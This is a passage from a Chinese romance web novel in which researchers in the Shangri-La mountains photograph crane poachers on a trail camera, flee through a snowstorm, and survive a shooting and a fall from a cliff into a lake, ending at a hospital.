明天还要走十公里左右,他们处理完标本,就躺下休息了。 凌晨三点,李不凡的闹钟响了。在野外露营,他的警惕性很高,就算睡觉也没办法睡踏实,因此很快就清醒过来。 身边的季一南也睁了眼,先拿手机看了下红外相机的情况。 轮到他们守夜,两个人出了帐篷,把坐在篝火旁边的小七和宋朗白换下来。 “柴快没了,但马上天就亮了,应该没事。”小七打了个长长的哈欠,困得说不了太多话。 柴堆里没剩下多少,都是烧得烂了的木头。 李不凡坐下来,从兜里摸到烟和薄荷糖,正好一样剩一个,他把薄荷糖扔给季一南,自己借火点了烟。 “你相机还好吧?”他问。 “看过了,没被动过。”季一南也坐下来。 柴火噼里啪啦地烧着,李不凡很安静、也很无聊地抽了半支烟,把剩下那半支递给季一南。 “你不是说一天半根就够了吗?还剩一半,别浪费了。” 季一南不是第一天抽李不凡剩的烟,他接过了,咬进嘴里,吐了口烟圈。 白色的环状的雾飘进夜空里,李不凡忽然笑了。 “我发现你其实没我最开始想的那么正经。” “是吗?”季一南问,“什么叫正经,什么叫不正经。” “刚碰到你的时候觉得你应该是个很规矩的人,比如习惯良好、对人礼貌,就是可能有点不太好接近,”李不凡看向季一南,“没想到我发现你其实和我想得不太一样。” “你是说我很努力地在你面前刷存在感吗?”季一南没觉得不好意思,就这样点破了。 李不凡挑了下眉。 “那有点可惜,你没见过从前的我。我也有过很理性的一段时间,那时哪怕是我最好的朋友在我面前和我说他生病了,我想的第一个问题还是,我有什么办法能够帮到他。” “从前是多久以前?”李不凡问。 “那时候我才高中。” 李不凡追问:“所以你为什么不那么理性了?” “很多人对我很好,慢慢我就被改变了,因为我意识到我需要用我的感情给他们反馈,而不能永远只提那些冷冰冰的东西。” “我觉得吧……”李不凡忽然想到很多,比如季一南参与搜救,懂很多植物,会看高山上的天气,总在雨中出现。比如季一南把他从悬崖边拉开,不让他冒险,表现得很怕失去。比如季一南不厌其烦地一趟趟给他送新鲜水果,带他骑马,去看了很多地方。 最终李不凡说:“爱你的人会懂你的反馈。” 季一南对上他的目光:“那你懂吗?” 李不凡轻笑一声,偏过脸,其实差点忍不住要吻他,“怎么能让你这么容易就知道答案。” “如果你觉得我们还不够了解对方的话,那我们玩个游戏,”季一南把剩下的烟扔进火里,“你问我什么我都可以回答,但你也要自己回答你问出来的问题。” 李不凡开始问了,“第一次抽烟是什么时候?” “高中,我有个朋友是学美术的,他画画总是压力很大,就有抽烟的习惯,我好奇烟到底是不是这么神奇,就跟着他学会了。不过后来他抽得太多,所以我总跟他说一天半根就够了。” “你被带坏了,”李不凡笑,“这个问题我回答不了,我忘记了。” 季一南温柔地看向他:“抽烟而已,算什么坏。” 李不凡没有反对。 他又问下一个问题:“季一南,为什么纹格桑花的纹身?” 季一南垂下眼,少见的需要思考,最后却还是给了一个听起来很随便的答案:“因为喜欢。” “因为一看到,就想起香格里拉。” 想起他。 “我反而好像有点羡慕你了,至少你还有可以纹在身上的东西,但是我没有,”李不凡开自己玩笑,“我也没办法把每天发生了什么都纹下来,下次再失忆,也一样不会比现在好多少。” “那如果……”出于一个李不凡不知道的理由,季一南的声音低了一些,“如果你失忆以后,我突然和你说,我其实是你以前的男朋友,你会相信吗?” 不会。 这是李不凡的第一反应。 可能他的答案已经写在脸上,季一南偏过头,捡起地上一根树枝,拨了拨眼前仅剩的柴火。 “不相信才正常。” 烧成黑色的柴碎得一块一块,可火已经熄灭了,只剩几颗火星像呼吸那样闪烁着。 “失忆的人也太好欺负了,谁都可以说谎话骗他。”李不凡看着火堆里那根拨动的树枝。 季一南想这明明是一个很平常的夜晚,小虫子在森林里鸣叫,现在走出帐篷,天还是一样的黑,溪水还在那里,雪山也还在那里。 弄丢过的人就这样自己回到身边,比起李不凡能够平安幸福地活着,他们的感情其实都不算什么。 哪怕过程全部都错,季一南也要让李不凡得到一个好的结果。 “我没对你说过假话。” 只是有些话没有说。 季一南放下树枝,掌心碰了下李不凡的脸,问他冷不冷。 “我是不是还没有告诉你?我之后会暂时离开云南一段时间,要去威斯林顿,有别的工作。” 季一南很明显地愣了一下,碰到李不凡的手也收回去。 “去多久?” “两三个星期。” “还回来吗?” 李不凡没有马上回答,在他没有说话的间隙,手机震动了两声,季一南低头去找,半张脸被屏幕的光照亮。 “有人动了红外相机。”季一南划着视频的进度条,翻到其中一帧里拍下了几个蒙着下半张脸的人。 他立刻站起来,神色骤然冷了:“是盗猎黑颈鹤的人。去叫醒小七他们,我们拍到那些人照片了,我相机里有定位,为了销毁证据他们可能会来找我们。” 高原天气多变,忽然就起了风,把那堆柴火彻底吹灭。 这次不用季一南开口,李不凡也知道,暴风雪要来了。 第30章 一听是盗猎,所有还昏昏沉沉的人都清醒过来,迅速地收整着东西。 “可带可不带的都别带的,帐篷不收了,我们马上走。”季一南看了一眼手机,他正在把相机拍到的视频传给阿夏,但高山上信号很差,非常差,十几分钟也只完成了百分之一。 “标本呢?”小七问。 “不要了。”季一南想了想,还是把包里带的镐子放在最外面。 从其他人被叫醒到开始撤离,总共只花了五分钟。 季一南和小七开了光量比较小的手电,带着所有人在山里穿梭。 “还走原路吗?”小七有些犹豫。 那达的徒步路线有很多条,但从上山开始到他们扎帐篷的位置只有一条成熟的路线,如果原路返回,盗猎的人多半能在警察和阿夏来之前追上他们。 而且天还没亮,山里温度很低,还会有野生动物出没,也很危险。 “算了,不能原路返回,”季一南深呼吸一次,“走老路。” 他说的这条老路其实也不算老,至少六年以前都还在使用。 这条路会经过一片湖泊,沿路都是断崖。近几年徒步火了,越来越多的人来那达体验,老路没有人管理,又比较危险,政府因此开发了新的路段让大家走。 “香格里拉也有盗猎吗?”宋朗白从被窝里被挖出来,脑子是醒了,但还没完全意识到现在的状况。 “有,而且不少,这里有很多国家级保护动物,我们研究所里专门有一个部门是管这个的。”小七说。 山里信号时断时续,季一南一边赶路,一边时不时看看手机,拨通号码。 “怎么了?”李不凡问,“之前不是报警了吗?” “和阿夏说我们换路线了。”季一南又尝试了一次,电话还是打不出去。 “先别急,这山里路这么复杂,他们短时间也找不到我们。”李不凡说。 “这是最好的结果,”小七叹了口气,“但他们可是来盗猎的,身上大概率有枪,也对这一片非常熟悉。” 听到枪,宋朗白和小柳浑身一凛,都提起了精神加快脚步。 “操……好烦,”小七关了手机,皱紧眉头,“要下雪了。” 天亮以前是温度最低的时候,风簌簌地吹着,空气变得很干很冷。 来的时候他们走了整整一天,现在就算跑着下山,也要很多个小时,如果加上下雪,情况就更糟。 季一南冷静地思考着,偏头和小七确认:“你记不记得这段路上有一个牧场。” “这边牧场挺多的,是这段路的话……这个季节应该已经废弃了。”小七说。 香格里拉是垂直畜牧,每个季节都在不同海拔的位置放牧,因此这里的人们经常搭建流动牧场。 “路上如果遇到,我们先进去躲一躲,大雪天他们也不可能来得太快。”季一南说。 “这段路不可能开车,他们也是走路吗?”宋朗白疑惑。 季一南:“他们有摩托,视频里我看见了。” “老大,你相机定位关了吗?”小七问。 “关了,但他们肯定看到了,这个定位是打开定位系统的时候才会刷新,我检查的时候我们的定位已经是刷新过的,”季一南说,“视频传得太慢,我先把拍到他们的部分截图发走了。” 第一次遇到这种事,宋朗白和小柳都不说话了,努力跟上大家的步伐。 李不凡也显得有些沉默,他在脑子里清点着临走前收拾的包里有哪些东西,想到一个细节。 “我们帐篷只有两顶,”他们走得很快,李不凡也在喘气,“他们要追我们,未必会仔细检查我们的营地,如果真的到了万不得已的情况……我们只留两个人。” 季一南听到他的话,偏头很轻地看了他一眼。 虽然季一南什么也没说,但李不凡明白他的意思。 他不可能让李不凡留下来。 李不凡不想和季一南再争什么,他自己也不想去想那种万不得已的情况。 几个人在树林里穿梭,季一南很突然地说:“相机是我的,是我要拍东西,我会负责到底。” “老大留我也留,我们两个是最熟悉这里的人,你们都走。”小七说。 宋朗白和小柳没讲话,李不凡盯着脚下的路,过了一会儿才很轻地笑了一声。 他的笑不是开心,反倒像有点失望。 季一南一瞬间记起之前李不凡说过的话,他让他别单方面付出,要他公平一点。 反正季一南也做不到。 天上下雪了,雪点落在李不凡脸上,只是很少的几簇,李不凡抬手抹去。 老路全是山,脚边的断崖一眼看不到底,雪越来越大,飞在脸上像刀刮一样疼,李不凡把衣领立起来,尽量挡住脸。 虽然沿路植被茂密,但山上的雪本来就没化干净,新雪很快堆积起来,深得走路也困难。 走了大概一小时,他们到了一片树林,打算短暂地休息一会儿。 几个人里宋朗白和小柳都只能算是徒步新手,从来没有这么高强度地在山里走过,一停下来就累得受不了。 但谁也没有抱怨,宋朗白拧开水瓶喝了口水,还在努力玩笑道:“可惜情况紧急没来得及开个gopro,不然拍下来说不定能拿个什么奖。” “算了吧,”小柳撑着他,“比起拿不拿奖,我现在更希望自己安全地活下来。” 李不凡抬了下唇角,侧过头时,恰好和看着他的季一南对视了一眼。 修整以后大家的状态都好些了,几人很快启程。 但这次走出没多久,季一南忽然停下脚步,蹲下来用掌心贴着地面。 “好像有车开过来了。”季一南这么一说,小七便神色警惕地听着。 一时间谁也没说话,连大气也不敢喘。 寒风呼呼地咆哮着,风雪中,李不凡也听见车的轰鸣。 “我听到了,是车声。” “找个地方躲起来。”季一南立刻说。 好在附近全是密密麻麻的树,季一南走在最前面,很快看准几个石堆,让所有人躲在石堆后的树林里。 月光几乎透不进这片树林,李不凡蹲在季一南身边,只在石头后露出一只眼睛,盯着外面的情况。 “如果他们不进来搜索,是发现不了我们的。”小七小声说。 话音刚落,摩托车的声音便清晰地出现在耳畔,地面也因此震动。 众人噤了声,几道车灯划过树林,转了弯。就在李不凡以为他们会这样离开时,车声停下了。 李不凡朝大家打了个手势,所有人便小心地往后退。 车灯还亮着,直直地照射树林,几乎和他们擦身而过。 很快,有人喊了一声在附近搜搜,手电筒的灯光也亮起来,朝树林里靠近了。 “附近的牧场找过没?”一个沙哑的中年男人开口问。 “找过了,没发现有人。”这道声音年轻一些。 “如果他们走的是老路,快的话这个时间应该在这周围。” “老大,你说有没有可能,他们没那么快啊?你想,这几个人应该都是游客,还背着包。” 风雪声太大,他们讲话声音又小,李不凡只听了个大概。 他屏着呼吸,全身都紧绷着,视线警惕地望着前方。 肩膀上搭了一只手,李不凡偏过脸,看见是季一南拍了拍他。 “别盯着亮光太久。” 李不凡这才回过神,移开视线以后,有很短的时间几乎什么都看不清。 “那个……”小柳声音很小,却很慌张,“我好像踩到什么东西了。” 大家回头,小柳站在一片泥泞的土地里,半只脚已经没进去。 “是沼泽,”小七冷汗都下来了,“你先把包脱下来。” 这时大家也顾不上身后还有追兵,小七伸手把小柳的包接过来,又让他坐下。 “坐下?这对吗?”小柳脑子都木了。 “坐下,”李不凡说,“坐下以后一只一只晃脚。” 李不凡开口,小柳就照做。 他双腿打颤,几乎是跌进去的,带着哭腔说:“等会儿要是他们真来了跑不掉的话,就留我一个人在这里好了。” 李不凡知道现在不能说丧气话,他语气坚定:“他们来不了。” 也许心理暗示真的有用,身后那些探过来的灯光一下转了弯。 “他们对这里估计也不熟,这种夜晚可能不会钻进树林,应该还是在牧场。” “我们再去远一点的搜。” “走!搞快点别让他们跑了!” 林子里重新暗下来,李不凡继续镇定地指挥:“一条腿一条腿的来,小柳你试一下。” “好、好……”小柳点点头,先试了一只脚。 因为处理得早,他沉得不深,很快就把一只脚拔出来了。 季一南把从包里翻出的绳子扔过去,因为小柳比较重,几个人同时抓着绳子的另外一边,等他把另一只脚也拔出来,再将人朝外拉。 “来,”李不凡说,“一、二,一、二。” 大家往后倒,用四个人的体重把小柳生拽出来。 小七上前扶住小柳,用手电照了下他满是泥的腿。 “泥可以保温,你现在没什么不舒服的吧?” 小柳惊魂未定地摇摇头:“我没事……” “我们继续走,去附近牧场看看能不能处理。”李不凡说。 这次没走多远就发现了牧场,周围静悄悄的,季一南说他先去看看,把重的背包留在了大家身边。 五分钟左右,季一南回来了。 “门外有很乱的脚印,他们应该来看过,我觉得暂时没什么问题。” 众人深一脚浅一脚地走到门边。 门上有锁,小七举着手电,季一南从背包里翻出一把镊子,用尖的那头塞进锁孔里,轻轻一撬就开了。 宋朗白笑不太出来,但还是说了句轻松的话:“这么厉害啊你们。” 他们没开灯,只用手电扫了一圈。里面有一张小床和一些没用完的生活用品,小柳体力一直是几个人里最差的,他走到床边就坐了下去,像刚冲刺完几个一千米那样喘着粗气。 “我们最多休息十分钟。”小七说。 “他们搜过这里了,应该不会走回头路,再说他们开摩托,声音会传得很远。多坐一会儿,半小时后再出发。”季一南没放包,搭了下小七的肩膀。 小七意外地看向季一南,和他对视了一眼以后,好像意识到季一南有话要单独和他说。 “我们出去看一圈,你们体力不好,先休息。”小七朝李不凡扬了扬下巴。 李不凡站在原地没动,觉得有些奇怪,但也没深究。 季一南带着小七走出牧场,到几米远的地方和他小声说话。 “下山的路你完全认识吗?” “认识。”小七点头。 “好,你带他们下去。” 小七一愣,“那你呢老大?” 雪落在季一南的睫毛上,“我要把相机拿回来。” “为什么?你疯了?那是盗猎的人,他们有多狠你不可能不知道。”小七压着嗓子。 “就是因为我知道他们有多狠,才必须要把相机拿回来,”季一南从口袋里翻出手机,“那台相机拍到我和李不凡了,我们做了一个用来伪装的石台,开机的时候我们两个人都在相机面前,我很确定拍到我们了。” 小七僵住了,一时间竟然说不出任何话。 “那群人发现相机以后,未必会仔细检查之前拍到的东西,他们的唯一目的是找到我们删掉拍到的东西,”季一南说,“相机是我带他去放的,他不应该被这件事牵扯进来,所以我一定要拿到。” “你打算怎么办?” “他们盗猎不过也是要钱而已,而且我们目的是一样的,我想要他们删视频,他们也想让我删视频,”季一南冷静分析,“杀一个人,和杀几只黑颈鹤是有区别的,他们很清楚如果有人死了,警方一定会彻查,所以不会轻易动手。” 他按了下头上的绒线帽,同时把冲锋衣的帽子立起来。 “小七,你再在外面多待十分钟,进去以后跟他们说我在观察附近的路,拖他们一会儿。我先走,我走远之后就打开相机定位,他们一定会追过来,你们用这段时间离开。我通知阿夏和警察了,你们只需要走到补给点就有救,我的定位也分享给你,等你见到他们再回来救我。” “你疯了,”小七摇着头,在雪地里来回踱步,“你疯了,这样不行,不可能,你知道你自己去意味着什么吗?” “我知道。但你知道吗?那达只有两条路,老路已经很危险,走其他路不过是死在人手里和死在大自然手里的区别,他们有车、有枪,找到我们只不过是时间问题。我一个人去和我们所有人一起涉险,这个选择题你不会做吗?”风雪扑了季一南满脸,黑暗中小七几乎看不清他的表情,只从他毫无改变的语调里听出他已经下定决心。 “小七,你还记不记得我刚来研究所的时候,你问我为什么要放弃国外的工作到这里来,”季一南单手握住小七肩膀,“今天我可以告诉你了,我是为了李不凡来的。” “可是你们……”小七懵了,他以为季一南和李不凡也才认识没多久。 “他是我男朋友,我很小就认识他,我们高中就在一起了,”季一南很轻很轻地说,“我爸爸很早之前就去世了,在我留学的时候,我的妈妈因为癌症走了。李不凡是我在这个世界上最后一个亲人。他不能出事,一点都不可以,为了这个我可以付出生命。” 他往后退了几步,是打算离开了。 “别告诉他我刚才和你说的所有事。” 这时他只庆幸自己之前真的忍住了,没有告诉李不凡所有的事,此刻在他眼中,他们只不过萍水相逢,就算季一南出了什么事,再过几年李不凡也一定可以忘掉他。 一切都还能挽回。 季一南转身朝风雪中走去,小七急得想喊他,可是刚刚开了口,就想起季一南刚才说的话。 他脑中一片空白,只望着那个越来越远的黑色的身影。 雪一下,就把前路抹得只剩晶莹的白色,除此以外什么也没有了。 小七不知道自己在雪中站了多久,他是被李不凡的推门声惊醒的。 看见外面只有一个人,李不凡敏感地问:“季一南呢?你们怎么在外面待了这么久,二十多分钟了。” “哦,”小七感觉自己说话时都有些抖,手在口袋里自己掐自己,才稳住了,“那个一哥他说去看看路,他去那边林子了,马上就回来。” “你在外面这么久不冷吗?”李不凡走到小七身边,“我等他,你进去吧。” “行,”小七点点头,“他应该再有最多十分钟就回来了。” 天快亮了。 李不凡站在木屋外,望着雪山。 风雪中,山的影子很模糊,很宽广。 它让人觉得很近又很远。 精神没有松懈,李不凡只是放空了片刻,打开手机看了一眼时间。 又过去五分钟了,季一南为什么要独自去探路。 他想了想,还是觉得不对,正想叫小七,木门忽然又被人推开了。 小七冲出来,咽了几次,才说:“老大自己走了。” “你说什么?”李不凡神经一跳。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 那达这段路季一南走过太多次,比有些本地向导还要熟悉。 二十分钟足够他在雪山上走三公里左右。季一南点开地图,看了一眼天女镜的位置。 那是那达老路上的一片湖泊,他决定把那群人引到那里。 离天女镜大概还有一公里,他打开手机的定位,同时把定位发送给小七。 红外相机的位置果然已经离他们很近了,季一南一边朝天女镜走,一边盯着地图上快速移动的点。 还没到湖边,他已经听见风声中属于摩托的轰鸣。 来的人总共三个,各自跨坐在摩托上。他们都戴着黑口罩,其中一个人背着长杆猎枪。 “小兄弟,”背枪的人开口,“我们在流石滩捡到一个红外相机,不知道是不是你的。” 他从外套口袋里拿出相机,在手里抛了下。 “是我的,”季一南假装奇怪,“你们是谁?怎么会有我的相机?” “我们啊……”几个人对视一眼,“我们是这山里的村民,是护林员,凌晨出来巡山。” 背枪的人从摩托车上下来,走近季一南,“我们是路过流石滩,看见了你的红外相机。那里是不能拍摄的,你不知道吗?” “对不起,我不知道,”季一南说,“我是植物学的学生,来这边做课程作业。” “是吗?”对方一步步逼近,“大半夜你做什么作业啊?” “观察高山花卉的夜间变化。” 季一南说完,气氛凝滞了一会儿。 “你跑得还挺快,一口气跑这么远,我们追得好费劲,”那人继续问,“你相机是不是有实时画面?在你手机上能看到吗?” “不好意思啊,”季一南表现得很生疏,“是有,但我白天在山上跑来跑去,才睡了没多久,又起来找花,一整天都没来得及看,你们是要……” “那个地方不能架相机,”对方朝他递出手,“所有拍到的内容都要删掉,你也不想被警察找上门吧?” “好,不好意思啊。”季一南慌慌张张从口袋里拿手机,甚至差点把手机给摔了。 几个人看他这幅害怕的样子,突然都笑了。 “小兄弟,我们是护林员,你别看到他枪就紧张,”又有一个人下了车,拍拍那个背枪的人的肩膀,“我们是好人。” 季一南点点头,点出相机的软件,给他们看。 “就是这个,我还没来得及备份,只有一个下载到本地的视频,你们是想删了这个吗?” 对方盯着他的表情,把他手机抢过来。 “是,就是这个,另外你相机不能要了,我们这边有规定,要没收。” “那我拍到的视频能删吗?”季一南问。 那人瞥他一眼,示意他继续说。 “那里面之前有一些我拍到的野生动物,是要用来做研究的,我们学校也有保密要求。” “可以啊,”另外一个人替背枪的人答应了,“我们正好还在研究你这个相机要怎么删除,你当着我们的面删。” 季一南把相机拿回来,正在删除时,背枪的人又问:“我们找你的时候你的定位消失了好长时间,怎么会消失呢?” “很正常,”季一南没表现出任何惊讶的神色,“这山里信号本来就不好,我自己找相机也要找好久。” 盯着他删掉了所有东西,那人一把抢过季一南的相机,举了举:“以后一个人到这种深山里来考察,记得要注意安全啊,那我们就先……” “等等,”背枪的人按住自己的同伙,眯了眯眼,“你的营地里有两顶帐篷,现在怎么只有一个人?” “我和我同学来的,他……” “天还没亮,又在下雪,你走的还是完全没有游客的老路,”那人打断季一南的话,重新走近他,“你怎么一点也不怕?” “我没有不怕。” 空气骤然紧绷起来,季一南抬眼,直视他的眼睛。 “我……” “我刚才差点在那边迷路,绕了好久才……” 所有人一瞬间看向声音的来源,林子里跑出一个同样穿着冲锋衣背着包的人。 “这些人是干什么的?” 看到李不凡时,季一南瞳孔骤缩。 “这是你同伴?”背枪的人问。 “对,刚才我们分开找,你们来之前我还想问问他去哪儿了,但山上信号不好。”季一南说。 “他们?”李不凡抬了抬下巴。 “护林员,”季一南解释,“这几位大哥来提醒我们,我们之前放的那个红外相机不合规,要把拍到的都删了。” “还挺可惜的,不过我们一直很遵守当地规定,麻烦你们了,这大雪天的还要跑一趟。”李不凡笑了笑。 “不麻烦,你朋友已经删完了。”背枪的人似乎相信了,转过身跟着同伙一起跨坐上摩托车。 天将将亮起,一束晨光从远处的云中穿过,落在山崖边。 三道摩托车的灯光打在他们身上,像长枪的瞄准点。 “你们还挺配合的。”拿枪的人给自己点了根烟,一只手背到身后,轻轻推了下枪托。 “但是对不起啊,我们也有我们的规定,规定就是规定,改不了。你们拍到了不能拍的东西,就得死。” 那人极快地举起枪,一声枪响如同鹰隼的长鸣响彻雪山。 李不凡被一股大力箍住,枪响的瞬间,他被季一南抱着倒下山崖。 强大的求生欲迫使他下意识抬手去抓崖上的东西,也许真是好运,李不凡抓住了一根树枝。 他单手揪着那根本就不粗的枝条,另一只手扣着季一南的手臂。 两头强劲的力道让李不凡全身的肌肉都紧紧绷起,从头到脚充血。 季一南的另外一只手也攀住突出的岩石,他抬脚踹在旁边松散的石块上,用力蹬了两三下,又单手摘下肩上沉重的背包。几块大石头和背包一起,在一片漆黑中滚落进湖水,砸出巨大的水花。 “老板,看过了,应该掉进去了。”崖上的声音慢慢远了。 几声摩托的轰鸣后,周遭又安静了下来。 数道脚步声靠近,有人对着湖水大喊:“李不凡!季一南!听得到吗?” “在!”李不凡咬着牙嘶吼,“往下看!” 手电的灯光朝下晃了几圈,才终于对准岩壁上的他们。 整个山崖大约十米,他们在中间靠下的位置。 “我刚才联系上阿夏了,”小七喊道,“你们再坚持一会儿。” 从手电筒的灯光,季一南仰头看见树枝已经开裂。 李不凡坚持着,尽管他已经感觉到自己明显承受不了了。拽着树枝的手在岩壁上擦过一段,应该伤得很严重,掌心钻心得痛,可这疼痛反而让他醒着。 “李不凡你放手。” 他垂头,看见季一南因为用力攀岩壁,而同样涨红的脸。 “不可能,”现在说话都有些困难,李不凡哑着嗓子,“你抓紧我,别放弃。” “从这里掉下去不会死。”季一南说。 “气温已经零下了,你告诉我不会死?”李不凡又用力把季一南拽上来了一点,调整了下他们的位置。 是生还是死,两个选项就这样摆在眼前,季一南居然还是那么冷静,“总比两个人都掉下去要好。” 季一南真的打算放手,李不凡意识到。他敢一个人去面对盗猎者,现在想一个人跳进湖里好像也不算难以理解。 但李不凡害怕了,那种失去的恐惧比他从小七嘴里听见季一南独自离开还要具体。 “不行,你不能放手。季一南,你今天要是放手我们两个就完了,没以后了!就算你活着回来,不管你说什么,我都不可能再和你在一起,你听懂了吗?”李不凡吼道,“你是混蛋吗?你要我看着你掉进去送死吗?” 季一南却忽然笑了,“你这么在乎我,我已经很开心了。” 李不凡的身体挡住了从山崖上照下来的手电筒的光,季一南只有小半只眼睛落在白色的光线里。 他很深地看了李不凡一眼,那一眼里充满李不凡无法理解的复杂情绪,明明是很快的一瞬,李不凡却觉得好像很长很久,长得他无法理解,久得他片刻恍惚。 悬崖、湖水,噗通的水花,那一瞬沉默的感觉,夏日…… 错乱的词句就这样隐隐在脑海中浮现,李不凡好像又看见了自己不确定的曾经。 在小七惊讶的大喊中,季一南松了手。 身上承受的力气骤然小了,落水声震耳欲聋,李不凡难以置信地望着掀起波浪的湖泊,下意识去捞季一南的手悬在空中,只碰到轻薄的空气。 疯子疯子疯子疯子疯子。 季一南是疯子。 他太阳穴突突地跳着,朝崖上的人喊:“下去救他!” 季一南原本就打算跳湖逃生。 走到天女镜不是偶然,是他想好的。 坠崖的那几秒钟,季一南的眼里只有李不凡的身影,那道影子在他眼前放大放大,变成很多个梦里季一南常常看到的画面。 “我们这边是中国大使馆,请问您是李不凡的亲属吗?” “现在情况是这样,李不凡先生帮助本地一个科考队在威斯林顿的曼拉山采集树木标本,过程中出现了意外坠崖,现在搜救队正在全力搜救。请问您想要立刻过来吗?” “科考队在曼拉山招募向导,当时天气恶劣,即将面临封山……” “……要采集的河水样本没办法等到解封,李不凡本来在营地休整,听到需要帮助就和科考队一起上山,没想到在上山途中遭遇意外坠崖。” “搜救队已经搜救了十个小时,使馆这边也在全力协助……” “按照他坠落的位置和最近的天气分析,我们判断黄金的救援时间已经过去了,他生还的可能性比较低……” 从高空坠落的时候你在想什么? 是感到后悔还是解脱? 有没有要对我说的话?有没有仍然觉得遗憾的事? 季一南不是没有想过自己也去体验一遍,或许这样就会知道答案。 可是人死灯灭,李不凡不在了,和妈妈一样,是无可挽回的事情。 冰冷的湖水包裹上来,让他全身都痛了一阵。 初春的天女镜和记忆里的不同,更冷也更刺骨。 但季一南仍然坚信他可以游上岸,因为这是天女镜。 十八岁的他和李不凡一起跳进过这里,那天李不凡告诉他他生病了,他想要把他从这片湖水里拉起来,他从没忘记。 第32章 阿夏带着人来得很快,警笛声响彻天空,李不凡被几个人用绳索救上去。 越野只能开到山崖下的湖泊边,李不凡再见到季一南时,他已靠坐在车的后座。 寒气随风飘到李不凡身上,冻得他也打了个哆嗦。 阿夏坐进驾驶座,把车内的暖气调到最高,没说一句多余的话,他开着车朝山外赶。 “去最近的医院至少两个小时,坚持一下。”阿夏说。 李不凡没讲话,只是抬手去解季一南的衣服。 他浑身都是湿的,这个时候必须把衣服都脱掉。阿夏从车内的后视镜里看见,提醒说:“后面有条干毛巾。” 落水以后,厚衣服困得季一南要用上十倍百倍的力气才能游到岸边。此刻他是真的有些累了,很勉强地抬起手指,想帮忙。 李不凡把他的手拍开,隐约的灯光中,他看着季一南的眼睛,大概一秒、两秒,李不凡也算不清了,但很快他视线模糊了一点,就偏过了脸。 “别哭。”季一南用手指很轻地碰了下李不凡的眼尾。 李不凡不想说话,还是没开口,他把季一南剥了个干净,用毛巾擦干他的身体。 到肋骨处,李不凡用掌心贴了下那两朵火红的格桑花。 “我好累,想睡觉了,之后再跟你解释。”季一南声音虚弱,脸色也苍白。 可李不凡怕他睡着,这时候不能睡,他脱掉自己的冲锋衣,把季一南裹住,而后吻上他的嘴唇。 阿夏只瞥了一眼,很懂事地没出声,只当自己不存在。 李不凡的吻很用力,像撕咬,想用疼让季一南清醒。刚才在山崖上坚持太久,他的手也抖,只好扶住季一南的肩膀。季一南没什么力气,掌心搭在李不凡的腰上,头垫着座椅,侧着脸,很慢地回应着。 “别睡。”李不凡嗓音沙哑地说了第一句话。 他摸到季一南身上开始发烫,又用毛巾搓了搓他的头发。 季一南缓慢地眨着眼,手在黑暗里握住李不凡的,他也想让自己清醒,便靠过去,又和李不凡吻在一起。 他们几乎没发出声音,只有贴近彼此时才能感受到的心跳,在咚咚地响着。 “有退烧药吗?”李不凡嗓子更哑,他一只手托着季一南的后颈,让他靠在自己身上。 “有,储物箱里,你找一下,水也有。”阿夏连头也没回。 李不凡打开顶上的一盏小灯,借昏黄的灯光从储物箱里翻出退烧药和水,看了眼日期,剥出一颗喂给季一南。 他喝了水,也咽了药,控制不住地闭了眼。 李不凡把季一南抱得很紧,想用自己的体温让他热起来。 后来他们都睡着了,快到医院时,李不凡先醒过来,拍了拍季一南的脸,想把他叫醒。 但季一南没反应,李不凡慌了,小声叫他:“季一南,到医院了,醒一醒。” “叫不醒吗?”阿夏问。 “可能烧晕了。”李不凡皱眉。 阿夏停好车,和李不凡一起把季一南架起来。 他很高,接近一米九,平常看上去不重,但李不凡很清楚他肌肉量大,很沉。 两个人把季一南扶到医院边,急诊的担架床推出来,把他送进了诊室。 天已经完全亮了,灰蒙蒙地透进医院。 李不凡站在走廊的床边,看着急诊室门前亮起的灯光,大脑一片空白地等着。 比他们稍微慢一些的小柳、小七和宋朗白也到了医院,小柳因为沉进沼泽过,满身还是泥土,也跟护士进了诊室,宋朗白抬了抬下巴,说:“我去看着小柳。” 一位警察走到小七和李不凡面前,向他们询问情况。 “阿夏收到了你们的朋友发来的视频截图,技侦人员已经在处理,现在基本确定是能看清楚的,但因为他们都蒙面了,所以要查出来还需要时间。 “另外我们还有一些问题要你们配合调查,麻烦你们加一下我的微信。” 小七和李不凡都添加了这位警察的信息。 “那等你们朋友从诊室里出来,我们再聊好吗?掉水的那一位也是见过盗猎人正脸的,我们非常需要他的笔录。” “好,谢谢你们。”李不凡说。 “我的同事会继续留在这里,另外我们还有一队同事还在追踪他们,那你们先休息,我去处理别的事情。”警察点了点头。 “别太担心,”阿夏安慰道,“一哥几乎是自己游上去的,应该只有一些发烧、疲惫的状况。而且他确实很了解这里,他跳下去肯定是有自己的考虑,也不是朝着死去的。” 李不凡说好,靠着窗台站了一会儿,他说他去镇子上给季一南买两件衣服。 “小七,你去睡会儿吧。”李不凡在口袋里摸了一圈,没找到烟,阿夏看出来他想要什么,从自己身上给了他一根。 “打火机要吗?”阿夏问。 “没事,我闻一闻,醒醒神。”李不凡抬了下手,示意不用。 他和季一南好歹睡了前半夜,小七和其他人几乎没怎么休息,现在确实也撑不住了。 看小七进了休息室,李不凡离开医院。 他们在山脚的一个小镇,是之前出发的地方。 虽然此时时间还很早,但因为徒步的人也走得早,这边的店铺都已经开门。 李不凡进了一家卖运动品的店,店里的大牌几乎都是仿品,但现在没有更好的选择。他想季一南平常都穿单色的衣服,就没买颜色复杂的,在黑白灰里挑。 具体大小李不凡看也看不出来,干脆都自己试,季一南的衣服比他的大一号就可以。 “老板,这个毛衣,那边那条裤子,都再要大一个号,冲锋衣拿两件,一件我手上这个号就行,另外一件大一号。”他的外套给季一南穿了,现在也要重新买。 老板麻利地把所有东西都装好了,李不凡付了钱,拎着一只塑料袋,拐进了旁边的超市。 毛巾、牙刷、水杯,李不凡甚至挑了小瓶装的洗发水和沐浴露。 把这些都买完,他去逛了逛早餐店,要了几份青稞饼,三壶酥油茶,还有几碗米线,一些红糖馒头、包子什么的。 来救援的人有很多,大家应该都没怎么吃东西,李不凡把这些买回去,正好给所有人都分一分。 镇子小,他买完所有东西回医院,也才花了四十分钟左右。 警车就停在医院门口,李不凡把吃的全给刚才来要他们联系方式的警官。 “麻烦你们过来,这是我买给大家的。” 对方道了谢,也就没客气,给围在一起的人都分了。 李不凡留了几份,拎着进了医院。 走廊里阿夏和小七都守着。看见回来的李不凡,小七勉强笑了下,说:“我躺了会儿,但实在睡不着。” “那先吃点东西。”李不凡把打包的米线给他,也问阿夏要吃什么。 “医生还没出来,不知道现在情况怎么样。”小七说。 